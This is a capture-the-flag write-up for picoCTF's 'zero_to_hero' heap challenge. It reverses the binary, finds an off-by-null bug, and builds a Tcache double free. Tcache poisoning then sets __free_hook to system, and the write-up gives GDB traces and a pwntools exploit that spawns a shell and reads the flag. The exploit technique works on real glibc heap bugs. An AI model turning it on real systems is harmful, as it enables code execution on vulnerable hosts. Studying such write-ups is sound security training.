zero_to_hero
14 minutes to read
We are given a 64-bit binary called zero_to_hero
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
We also have the Glibc shared library and the loader (version 2.29):
$ ./ld-2.29.so ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 8.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Reverse engineering
If we open the binary in Ghidra, we will see this main
function:
void main() {
ssize_t length;
long in_FS_OFFSET;
int option;
char confirmation[24];
ulong canary;
canary = *(ulong *) (in_FS_OFFSET + 0x28);
setvbuf(stdin, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
setvbuf(stderr, NULL, 2, 0);
puts("From Zero to Hero");
puts("So, you want to be a hero?");
length = read(0, confirmation, 0x14);
confirmation[length] = '\0';
if (confirmation[0] != 'y') {
puts("No? Then why are you even here?");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Really? Being a hero is hard.");
puts("Fine. I see I can\'t convince you otherwise.");
printf("It\'s dangerous to go alone. Take this: %p\n", system);
while (true) {
while (true) {
menu();
printf("> ");
option = 0;
__isoc99_scanf("%d", &option);
getchar();
if (option != 2) break;
remove_superpower();
}
if (option == 3) break;
if (option != 1) goto LAB_00400dce;
get_superpower();
}
puts("Giving up?");
LAB_00400dce:
/* WARNING: Subroutine does not return */
exit(0);
}
First of all, we need to enter y
to use the program. Moreover, we are given the address of system
at runtime. Then, we have two options: get_superpower
and remove_superpower
:
$ ./zero_to_hero
From Zero to Hero
So, you want to be a hero?
yes
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7fc1bca6ffd0
1. Get a superpower
2. Remove a superpower
3. Exit
>
It seems to be a heap exploitation challenge. Let’s analyze these two functions.
Allocation function
This is get_superpower
:
void get_superpower() {
char *p_superpower;
ssize_t length;
long in_FS_OFFSET;
uint size;
int count;
long canary;
char *superpower;
canary = *(long *) (in_FS_OFFSET + 0x28);
size = 0;
count = count_superpowers();
if (count < 0) {
puts("You have too many powers!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Describe your new power.");
puts("What is the length of your description?");
printf("> ");
__isoc99_scanf("%u", &size);
getchar();
if (0x408 < size) {
puts("Power too strong!");
/* WARNING: Subroutine does not return */
exit(-1);
}
p_superpower = (char *) malloc((ulong) size);
superpowers[count] = p_superpower;
puts("Enter your description: ");
printf("> ");
superpower = superpowers[count];
length = read(0, superpowers[count], (ulong)size);
superpower[length] = '\0';
puts("Done!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
We see that we can allocate chunks on the heap up to size 0x408
and then enter some data. There is a bug in this function in this line of code:
superpower[length] = '\0';
The problem is that the last element of the superpower
character array is at index length - 1
, because indices start at 0
. The program will set the last plus one element to a null byte. This bug can be exploited with a technique known as null byte poisoning.
Free function
This is remove_superpower
:
void remove_superpower() {
long in_FS_OFFSET;
uint index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
index = 0;
puts("Which power would you like to remove?");
printf("> ");
__isoc99_scanf("%u", &index);
getchar();
if (6 < index) {
puts("Invalid index!");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(superpowers[index]);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Basically, we select the index of the chunk and it is freed using free
, as simple as that.
Exploit strategy
We will need to exploit the existing bug (usually called off-by-null) using null byte poisoning. Notice that Glibc 2.29 uses Tcache.
The idea is simple for experienced heap pwners. The objective is to use the off-by-null to modify the next chunk’s size and cause confusion to the memory allocator.
We can start by creating three chunks:
A
: size0x108
B
: size0x108
C
: size0xf8
Their effective sizes on the heap will be 0x110
, 0x110
and 0x100
, respectively.
Now, we will free B
, then C
and then A
. When allocating a chunk sized 0x108
, it will be placed where A
was before, and we will exploit the off-by-null to modify B
’s effective size to 0x100
.
At this point, we can free B
again, and the Tcache won’t complain because it has s different size. Thus, we have a double free because we have the same chunk B
inside lists of size 0x100
and 0x110
.
Therefore, we can perform a Tcache poisoning attack to modify __free_hook
to be system
(we already know the address, and thus, we can bypass ASLR). When calling free
on chunk C
(which will contain "/bin/sh"
), __free_hook
will pop a shell.
Debugging with GDB
Let’s analyze the above using GDB:
- We do the three allocations:
$ gdb -q zero_to_hero
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from zero_to_hero...
(No debugging symbols found in zero_to_hero)
pwndbg> run
Starting program: ./zero_to_hero
From Zero to Hero
So, you want to be a hero?
y
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7ffff7e31fd0
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> AAAA
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> BBBB
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 248
Enter your description:
> CCCC
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> vis_heap_chunks
0x603000 0x0000000000000000 0x0000000000000251 ........Q.......
0x603010 0x0000000000000000 0x0000000000000000 ................
0x603020 0x0000000000000000 0x0000000000000000 ................
0x603030 0x0000000000000000 0x0000000000000000 ................
0x603040 0x0000000000000000 0x0000000000000000 ................
0x603050 0x0000000000000000 0x0000000000000000 ................
0x603060 0x0000000000000000 0x0000000000000000 ................
0x603070 0x0000000000000000 0x0000000000000000 ................
0x603080 0x0000000000000000 0x0000000000000000 ................
0x603090 0x0000000000000000 0x0000000000000000 ................
0x6030a0 0x0000000000000000 0x0000000000000000 ................
0x6030b0 0x0000000000000000 0x0000000000000000 ................
0x6030c0 0x0000000000000000 0x0000000000000000 ................
0x6030d0 0x0000000000000000 0x0000000000000000 ................
0x6030e0 0x0000000000000000 0x0000000000000000 ................
0x6030f0 0x0000000000000000 0x0000000000000000 ................
0x603100 0x0000000000000000 0x0000000000000000 ................
0x603110 0x0000000000000000 0x0000000000000000 ................
0x603120 0x0000000000000000 0x0000000000000000 ................
0x603130 0x0000000000000000 0x0000000000000000 ................
0x603140 0x0000000000000000 0x0000000000000000 ................
0x603150 0x0000000000000000 0x0000000000000000 ................
0x603160 0x0000000000000000 0x0000000000000000 ................
0x603170 0x0000000000000000 0x0000000000000000 ................
0x603180 0x0000000000000000 0x0000000000000000 ................
0x603190 0x0000000000000000 0x0000000000000000 ................
0x6031a0 0x0000000000000000 0x0000000000000000 ................
0x6031b0 0x0000000000000000 0x0000000000000000 ................
0x6031c0 0x0000000000000000 0x0000000000000000 ................
0x6031d0 0x0000000000000000 0x0000000000000000 ................
0x6031e0 0x0000000000000000 0x0000000000000000 ................
0x6031f0 0x0000000000000000 0x0000000000000000 ................
0x603200 0x0000000000000000 0x0000000000000000 ................
0x603210 0x0000000000000000 0x0000000000000000 ................
0x603220 0x0000000000000000 0x0000000000000000 ................
0x603230 0x0000000000000000 0x0000000000000000 ................
0x603240 0x0000000000000000 0x0000000000000000 ................
0x603250 0x0000000000000000 0x0000000000000111 ................
0x603260 0x0000000a41414141 0x0000000000000000 AAAA............
0x603270 0x0000000000000000 0x0000000000000000 ................
0x603280 0x0000000000000000 0x0000000000000000 ................
0x603290 0x0000000000000000 0x0000000000000000 ................
0x6032a0 0x0000000000000000 0x0000000000000000 ................
0x6032b0 0x0000000000000000 0x0000000000000000 ................
0x6032c0 0x0000000000000000 0x0000000000000000 ................
0x6032d0 0x0000000000000000 0x0000000000000000 ................
0x6032e0 0x0000000000000000 0x0000000000000000 ................
0x6032f0 0x0000000000000000 0x0000000000000000 ................
0x603300 0x0000000000000000 0x0000000000000000 ................
0x603310 0x0000000000000000 0x0000000000000000 ................
0x603320 0x0000000000000000 0x0000000000000000 ................
0x603330 0x0000000000000000 0x0000000000000000 ................
0x603340 0x0000000000000000 0x0000000000000000 ................
0x603350 0x0000000000000000 0x0000000000000000 ................
0x603360 0x0000000000000000 0x0000000000000111 ................
0x603370 0x0000000a42424242 0x0000000000000000 BBBB............
0x603380 0x0000000000000000 0x0000000000000000 ................
0x603390 0x0000000000000000 0x0000000000000000 ................
0x6033a0 0x0000000000000000 0x0000000000000000 ................
0x6033b0 0x0000000000000000 0x0000000000000000 ................
0x6033c0 0x0000000000000000 0x0000000000000000 ................
0x6033d0 0x0000000000000000 0x0000000000000000 ................
0x6033e0 0x0000000000000000 0x0000000000000000 ................
0x6033f0 0x0000000000000000 0x0000000000000000 ................
0x603400 0x0000000000000000 0x0000000000000000 ................
0x603410 0x0000000000000000 0x0000000000000000 ................
0x603420 0x0000000000000000 0x0000000000000000 ................
0x603430 0x0000000000000000 0x0000000000000000 ................
0x603440 0x0000000000000000 0x0000000000000000 ................
0x603450 0x0000000000000000 0x0000000000000000 ................
0x603460 0x0000000000000000 0x0000000000000000 ................
0x603470 0x0000000000000000 0x0000000000000101 ................
0x603480 0x0000000a43434343 0x0000000000000000 CCCC............
0x603490 0x0000000000000000 0x0000000000000000 ................
0x6034a0 0x0000000000000000 0x0000000000000000 ................
0x6034b0 0x0000000000000000 0x0000000000000000 ................
0x6034c0 0x0000000000000000 0x0000000000000000 ................
0x6034d0 0x0000000000000000 0x0000000000000000 ................
0x6034e0 0x0000000000000000 0x0000000000000000 ................
0x6034f0 0x0000000000000000 0x0000000000000000 ................
0x603500 0x0000000000000000 0x0000000000000000 ................
0x603510 0x0000000000000000 0x0000000000000000 ................
0x603520 0x0000000000000000 0x0000000000000000 ................
0x603530 0x0000000000000000 0x0000000000000000 ................
0x603540 0x0000000000000000 0x0000000000000000 ................
0x603550 0x0000000000000000 0x0000000000000000 ................
0x603560 0x0000000000000000 0x0000000000000000 ................
0x603570 0x0000000000000000 0x0000000000020a91 ................ <-- Top chunk
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603360
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603470
Size: 0x101
Top chunk | PREV_INUSE
Addr: 0x603570
Size: 0x20a91
- We free them:
pwndbg> continue
Continuing.
2
Which power would you like to remove?
> 1
1. Get a superpower
2. Remove a superpower
3. Exit
> 2
Which power would you like to remove?
> 2
1. Get a superpower
2. Remove a superpower
3. Exit
> 2
Which power would you like to remove?
> 0
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> tcachebins
tcachebins
0x100 [ 1]: 0x603480 ◂— 0x0
0x110 [ 2]: 0x603260 —▸ 0x603370 ◂— 0x0
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
Free chunk (tcache) | PREV_INUSE
Addr: 0x603250
Size: 0x111
fd: 0x603370
Free chunk (tcache) | PREV_INUSE
Addr: 0x603360
Size: 0x111
fd: 0x00
Free chunk (tcache) | PREV_INUSE
Addr: 0x603470
Size: 0x101
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x603570
Size: 0x20a91
- We allocate a chunk size
0x108
and enter exactly0x108
bytes to exploit the off-by-null:
pwndbg> shell python3 -c 'print("A" * 264)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pwndbg> continue
Continuing.
1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis_heap_chunks
0x603000 0x0000000000000000 0x0000000000000251 ........Q.......
0x603010 0x0000000000000000 0x0101000000000000 ................
0x603020 0x0000000000000000 0x0000000000000000 ................
0x603030 0x0000000000000000 0x0000000000000000 ................
0x603040 0x0000000000000000 0x0000000000000000 ................
0x603050 0x0000000000000000 0x0000000000000000 ................
0x603060 0x0000000000000000 0x0000000000000000 ................
0x603070 0x0000000000000000 0x0000000000000000 ................
0x603080 0x0000000000000000 0x0000000000000000 ................
0x603090 0x0000000000000000 0x0000000000000000 ................
0x6030a0 0x0000000000000000 0x0000000000000000 ................
0x6030b0 0x0000000000000000 0x0000000000000000 ................
0x6030c0 0x0000000000603480 0x0000000000603370 .4`.....p3`.....
0x6030d0 0x0000000000000000 0x0000000000000000 ................
0x6030e0 0x0000000000000000 0x0000000000000000 ................
0x6030f0 0x0000000000000000 0x0000000000000000 ................
0x603100 0x0000000000000000 0x0000000000000000 ................
0x603110 0x0000000000000000 0x0000000000000000 ................
0x603120 0x0000000000000000 0x0000000000000000 ................
0x603130 0x0000000000000000 0x0000000000000000 ................
0x603140 0x0000000000000000 0x0000000000000000 ................
0x603150 0x0000000000000000 0x0000000000000000 ................
0x603160 0x0000000000000000 0x0000000000000000 ................
0x603170 0x0000000000000000 0x0000000000000000 ................
0x603180 0x0000000000000000 0x0000000000000000 ................
0x603190 0x0000000000000000 0x0000000000000000 ................
0x6031a0 0x0000000000000000 0x0000000000000000 ................
0x6031b0 0x0000000000000000 0x0000000000000000 ................
0x6031c0 0x0000000000000000 0x0000000000000000 ................
0x6031d0 0x0000000000000000 0x0000000000000000 ................
0x6031e0 0x0000000000000000 0x0000000000000000 ................
0x6031f0 0x0000000000000000 0x0000000000000000 ................
0x603200 0x0000000000000000 0x0000000000000000 ................
0x603210 0x0000000000000000 0x0000000000000000 ................
0x603220 0x0000000000000000 0x0000000000000000 ................
0x603230 0x0000000000000000 0x0000000000000000 ................
0x603240 0x0000000000000000 0x0000000000000000 ................
0x603250 0x0000000000000000 0x0000000000000111 ................
0x603260 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603270 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603280 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603290 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032a0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032b0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032c0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032d0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032e0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032f0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603300 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603310 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603320 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603330 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603340 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603350 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603360 0x4141414141414141 0x0000000000000100 AAAAAAAA........
0x603370 0x0000000000000000 0x0000000000603010 .........0`..... <-- tcachebins[0x110][0/1]
0x603380 0x0000000000000000 0x0000000000000000 ................
0x603390 0x0000000000000000 0x0000000000000000 ................
0x6033a0 0x0000000000000000 0x0000000000000000 ................
0x6033b0 0x0000000000000000 0x0000000000000000 ................
0x6033c0 0x0000000000000000 0x0000000000000000 ................
0x6033d0 0x0000000000000000 0x0000000000000000 ................
0x6033e0 0x0000000000000000 0x0000000000000000 ................
0x6033f0 0x0000000000000000 0x0000000000000000 ................
0x603400 0x0000000000000000 0x0000000000000000 ................
0x603410 0x0000000000000000 0x0000000000000000 ................
0x603420 0x0000000000000000 0x0000000000000000 ................
0x603430 0x0000000000000000 0x0000000000000000 ................
0x603440 0x0000000000000000 0x0000000000000000 ................
0x603450 0x0000000000000000 0x0000000000000000 ................
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x111
Allocated chunk
Addr: 0x603360
Size: 0x100
Allocated chunk
Addr: 0x603460
Size: 0x00
The above commands fail because we have corrupted the heap metadata of chunk B
(now the size field is 0x100
). We can visualize the full heap (without colors) like this:
pwndbg> x/180gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000000000000000 0x0101000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000603480 0x0000000000603370
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
0x6031b0: 0x0000000000000000 0x0000000000000000
0x6031c0: 0x0000000000000000 0x0000000000000000
0x6031d0: 0x0000000000000000 0x0000000000000000
0x6031e0: 0x0000000000000000 0x0000000000000000
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000111
0x603260: 0x4141414141414141 0x4141414141414141
0x603270: 0x4141414141414141 0x4141414141414141
0x603280: 0x4141414141414141 0x4141414141414141
0x603290: 0x4141414141414141 0x4141414141414141
0x6032a0: 0x4141414141414141 0x4141414141414141
0x6032b0: 0x4141414141414141 0x4141414141414141
0x6032c0: 0x4141414141414141 0x4141414141414141
0x6032d0: 0x4141414141414141 0x4141414141414141
0x6032e0: 0x4141414141414141 0x4141414141414141
0x6032f0: 0x4141414141414141 0x4141414141414141
0x603300: 0x4141414141414141 0x4141414141414141
0x603310: 0x4141414141414141 0x4141414141414141
0x603320: 0x4141414141414141 0x4141414141414141
0x603330: 0x4141414141414141 0x4141414141414141
0x603340: 0x4141414141414141 0x4141414141414141
0x603350: 0x4141414141414141 0x4141414141414141
0x603360: 0x4141414141414141 0x0000000000000100
0x603370: 0x0000000000000000 0x0000000000603010
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000101
0x603480: 0x0000000000000000 0x0000000000603010
0x603490: 0x0000000000000000 0x0000000000000000
0x6034a0: 0x0000000000000000 0x0000000000000000
0x6034b0: 0x0000000000000000 0x0000000000000000
0x6034c0: 0x0000000000000000 0x0000000000000000
0x6034d0: 0x0000000000000000 0x0000000000000000
0x6034e0: 0x0000000000000000 0x0000000000000000
0x6034f0: 0x0000000000000000 0x0000000000000000
0x603500: 0x0000000000000000 0x0000000000000000
0x603510: 0x0000000000000000 0x0000000000000000
0x603520: 0x0000000000000000 0x0000000000000000
0x603530: 0x0000000000000000 0x0000000000000000
0x603540: 0x0000000000000000 0x0000000000000000
0x603550: 0x0000000000000000 0x0000000000000000
0x603560: 0x0000000000000000 0x0000000000000000
0x603570: 0x0000000000000000 0x0000000000020a91
0x603580: 0x0000000000000000 0x0000000000000000
0x603590: 0x0000000000000000 0x0000000000000000
- We free chunk
B
again:
pwndbg> tcachebins
tcachebins
0x100 [ 1]: 0x603480 ◂— 0x0
0x110 [ 1]: 0x603370 ◂— 0x0
pwndbg> continue
Continuing.
2
Which power would you like to remove?
> 1
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> tcachebins
tcachebins
0x100 [ 2]: 0x603370 —▸ 0x603480 ◂— 0x0
0x110 [ 1]: 0x603370 —▸ 0x603480 ◂— ...
As we can see, we got the same chunk address in two Tcache lists, so we have a double free vulnerability that can be exploited with a Tcache poisoning attack. For instance, let’s allocate a chunk sized 0xf8
:
pwndbg> continue
Continuing.
1
Describe your new power.
What is the length of your description?
> 248
Enter your description:
> asdf
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> tcachebins
tcachebins
0x100 [ 1]: 0x603480 ◂— 0x0
0x110 [ 1]: 0x603370 ◂— 0xa66647361 /* 'asdf\n' */
There we have it. We have modified the fd
pointer of a freed chunk, so we got control of the next chunk address of size 0x108
:
pwndbg> continue
Continuing.
1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> xxxx
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 264
Program received signal SIGSEGV, Segmentation fault.
tcache_get (tc_idx=15) at malloc.c:2950
2950 malloc.c: No such file or directory.
Obviously, we got a segmentation fault because asdf
is not a valid address. This was just a proof of concept of how the exploit works.
Final exploit
This will be the main
function of our exploit:
def main():
p = get_process()
p.sendlineafter(b'So, you want to be a hero?\n', b'y')
p.recvuntil(b"It's dangerous to go alone. Take this: ")
system_addr = int(p.recvline().decode(), 16)
glibc.address = system_addr - glibc.sym.system
log.success(f'Glibc base address: {hex(glibc.address)}')
alloc(p, 0x108, b'AAAA')
alloc(p, 0x108, b'BBBB')
alloc(p, 0x0f8, b'CCCC')
free(p, 1)
free(p, 2)
free(p, 0)
alloc(p, 0x108, b'A' * 0x108)
free(p, 1)
alloc(p, 0x0f8, p64(glibc.sym.__free_hook))
alloc(p, 0x108, b'/bin/sh\0')
alloc(p, 0x108, p64(system_addr))
free(p, 1)
p.interactive()
It works in our local environment:
$ python3 solve.py
[*] './zero_to_hero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
[+] Starting local process './zero_to_hero': pid 3010377
[+] Glibc base address: 0x7ff90e108000
[*] Switching to interactive mode
$ ls
ld-2.29.so libc.so.6 solve.py zero_to_hero
Flag
And also remotely:
$ python3 solve.py jupiter.challenges.picoctf.org 29476
[*] './zero_to_hero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
[+] Opening connection to jupiter.challenges.picoctf.org on port 29476: Done
[+] Glibc base address: 0x7fe979b45000
[*] Switching to interactive mode
$ ls
flag.txt
ld-2.29.so
libc.so.6
xinet_startup.sh
zero_to_hero
$ cat flag.txt
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_wuqzpzof}
The full exploit can be found in here: solve.py
.